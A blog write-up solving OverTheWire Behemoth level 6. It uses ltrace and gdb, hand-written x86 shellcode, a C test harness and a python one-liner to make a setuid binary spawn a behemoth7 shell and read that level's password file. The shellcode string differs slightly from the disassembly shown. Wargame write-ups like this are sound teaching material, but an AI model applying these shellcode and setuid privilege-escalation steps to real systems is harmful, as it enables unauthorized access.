OverTheWire.org - Behemoth - Level 6 Writeup

As always, let's run the vulnerable file:

behemoth6@behemoth:~$ /behemoth/behemoth6
Incorrect output.

Not so many information, so let's run in ltrace.

behemoth6@behemoth:~$ ltrace /behemoth/behemoth6
__libc_start_main(0x80485db, 1, 0xffffd774, 0x80486d0 <unfinished ...>
popen("/behemoth/behemoth6_reader", "r")                                                         = 0x804b008
malloc(10)                                                                                       = 0x804b0b8
fread(0x804b0b8, 10, 1, 0x804b008)                                                               = 1
pclose(0x804b008 <no return ...>
--- SIGCHLD (Child exited) ---
<... pclose resumed> )                                                                           = 0
strcmp("Couldn't o", "HelloKitty")                                                               = -1
puts("Incorrect output."Incorrect output.
)                                                                        = 18
+++ exited (status 0) +++

That's better: the executable spawns another process executing /behemoth/behemoth6_reader and reads the output from this process.
Then it compares to the string "HelloKitty" and then exits


If we open the behemoth6 executable we find that in the end it calls an execl() function.
Most probably, if we can have the behemoth6_reader file generate an output string of "HelloKitty" we receive an elevated shell...

So let's run the behemoth6_reader with ltrace:
behemoth6@behemoth:~$ ltrace /behemoth/behemoth6_reader
__libc_start_main(0x80485ab, 1, 0xffffd764, 0x80486b0 <unfinished ...>
fopen("shellcode.txt", "r")                                                                      = 0
puts("Couldn't open shellcode.txt!"Couldn't open shellcode.txt!
)                                                             = 29
+++ exited (status 0) +++

It tries to open a file shellcode.txt in the current directory

So let's create a directory in tmp, move to it and put a bash command in a shellcode.txt file (i.e. "echo A")

behemoth6@behemoth:~$ mkdir /tmp/b6a
behemoth6@behemoth:~$ cd /tmp/b6a
behemoth6@behemoth:/tmp/b6a$ echo "echo A" > shellcode.txt
behemoth6@behemoth:/tmp/b6a$ ltrace /behemoth/behemoth6_reader
__libc_start_main(0x80485ab, 1, 0xffffd764, 0x80486b0 <unfinished ...>
fopen("shellcode.txt", "r")                                                                      = 0x804b008
fseek(0x804b008, 0, 2, 0x200000)                                                                 = 0
ftell(0x804b008, 0, 2, 0x200000)                                                                 = 7
rewind(0x804b008, 0, 2, 0x200000)                                                                = 0xfbad2488
malloc(7)                                                                                        = 0x804c170
fread(0x804c170, 7, 1, 0x804b008)                                                                = 1
fclose(0x804b008)                                                                                = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

It goes in Segmentation Fault, so let's use gdb to understand the reason

behemoth6@behemoth:/tmp/b6a$ gdb /behemoth/behemoth6_reader
...
(gdb) r
Starting program: /behemoth/behemoth6_reader

Program received signal SIGSEGV, Segmentation fault.
0x0804c170 in ?? ()
(gdb) x/c 0x0804c170
0x804c170:      101 'e'
(gdb)
0x804c171:      99 'c'
(gdb)
0x804c172:      104 'h'
(gdb)
0x804c173:      111 'o'
(gdb)
0x804c174:      32 ' '
(gdb)
0x804c175:      65 'A'
we priint the content of the memory at the address it

It seems that the behemoth6_reader open the shellcode.txt file and use it as shellcode, running as if it were machine code.
That could be an interesting thing to use.

Now we verify permission on the two files behemoth6 and behemoth6_reader:

behemoth6@behemoth:/tmp/b6a$ ls -l /behemoth/behemoth6_reader
-r-xr-x--- 1 behemoth7 behemoth6 7528 Oct 29  2018 /behemoth/behemoth6_reader
behemoth6@behemoth:/tmp/b6a$ ls -l /behemoth/behemoth6
-r-sr-x--- 1 behemoth7 behemoth6 7564 Oct 29  2018 /behemoth/behemoth6

behemoth6_reader is not SUID, so we can't put an execve() shellcode directly into shellcode.txt file: it wouldn't open an elevated shell.

We have use behemoth6 file and make the behemoth6_reader generate an output to pass though that  strcmp("","HelloKitty").

In other words, we have to build a shellcode that prints "HelloKitty" to output and save it to shellcode.txt

To do this we can use write() syscall followed by an exit() syscall.
The write() syscal can triggered by compiling some reigsters and executing an "int 0x80" istruction

  • eax: sycall number of write() (= 4)
  • ebx: filedescriptor for output (stdout = 1) 
  • ecx: address of string (push the string on the stack, then copy esp into ecx)
  • edx: size of string (14 bytes = 0xe)
Below an assembly code that executes the write() followed by exit(1):

behemoth6@behemoth:/tmp/b6a$ cat HelloKitty.asm
[SECTION .text]
global _start
_start:
    jmp short ender

    starter:

    xor eax, eax     ; blank eax
    push eax         ; push null termination on the stack
    push 0x7974      ; push HelloKitty on the stack
    push 0x74694B6f
    push 0x6c6c6548
    mov bl, 0x1      ;  put 1 in ebx (stdout)
    mov ecx, esp     ; put address of string in ecx
    mov dl, 0xe      ; put length of string in edx  
    mov al, 0x4      ; syscall number of write in eax
    int 0x80         ; execute syscall

    mov al, 0x1 ;  syscall number of exit
    int 0x80 ;     execute syscall
    ender:

Then compile it to ELF format: it will create a HelloKitty.o file.
Now we disassemble the HelloKItty.o file with onbjdump  and retrieve the machine code corresponding to the shellcode.

behemoth6@behemoth:/tmp/b6a$ nasm -f elf HelloKitty.asm
behemoth6@behemoth:/tmp/b6a$ objdump -D HelloKitty.o

HelloKitty.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   eb 20                   jmp    22 <ender>

00000002 <starter>:
   2:   31 c0                   xor    %eax,%eax
   4:   50                      push   %eax
   5:   68 74 79 00 00          push   $0x7974
   a:   68 6f 4b 69 74          push   $0x74694b6f
   f:   68 48 65 6c 6c          push   $0x6c6c6548
  14:   b3 01                   mov    $0x1,%bl
  16:   89 e1                   mov    %esp,%ecx
  18:   b2 0e                   mov    $0xe,%dl
  1a:   b0 04                   mov    $0x4,%al
  1c:   cd 80                   int    $0x80
  1e:   b0 01                   mov    $0x1,%al
  20:   cd 80                   int    $0x80

Then we put in a test C file

1
2
3
4
5
6
7
8
char code[] = "\x31\xc0\x50\x68\x74\x79\x0a\x0a\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\xb3\x01\x89\xe1\xb2\x0e\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"

int main(int argc, char **argv)
{
 int (*shell)();
 shell = (int (*)()) code;
 (int)(*shell)();
}

behemoth6@behemoth:/tmp/b6a$ gcc -Wl,-z,norelro -z execstack -fno-stack-protector  -m32 shellcode.c -o shellcode

We then run shellcode file to see if it prints out the string "HelloKitty"

If it runs correctly we put the shellcode string in the hellcode.txt file in binary format (not text format) with:

behemoth6@behemoth:/tmp/b6a$ python -c 'print "\x31\xc0\x50\x68\x74\x79\x0a\x0a\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\xb3\x01\x89\xe1\xb2\x0e\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"' > shellcode.txt

Verify that the reader works.

behemoth6@behemoth:/tmp/b6a$ strace /behemoth/behemoth6_reader
execve("/behemoth/behemoth6_reader", ["/behemoth/behemoth6_reader"], [/* 18 vars */]) = 0
....
close(3)                                = 0
write(1, "HelloKitty\n\n\0\0", 14HelloKitty

)      = 14
exit(1)                                 = ?
+++ exited with 1 +++

We're ready to run the vulnerable program:
behemoth6@behemoth:/tmp/b6a$ /behemoth/behemoth6
Correct.
$ id
uid=13007(behemoth7) gid=13006(behemoth6) groups=13006(behemoth6)
$ cat /etc/behemoth_pass/behemoth7
b******o
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.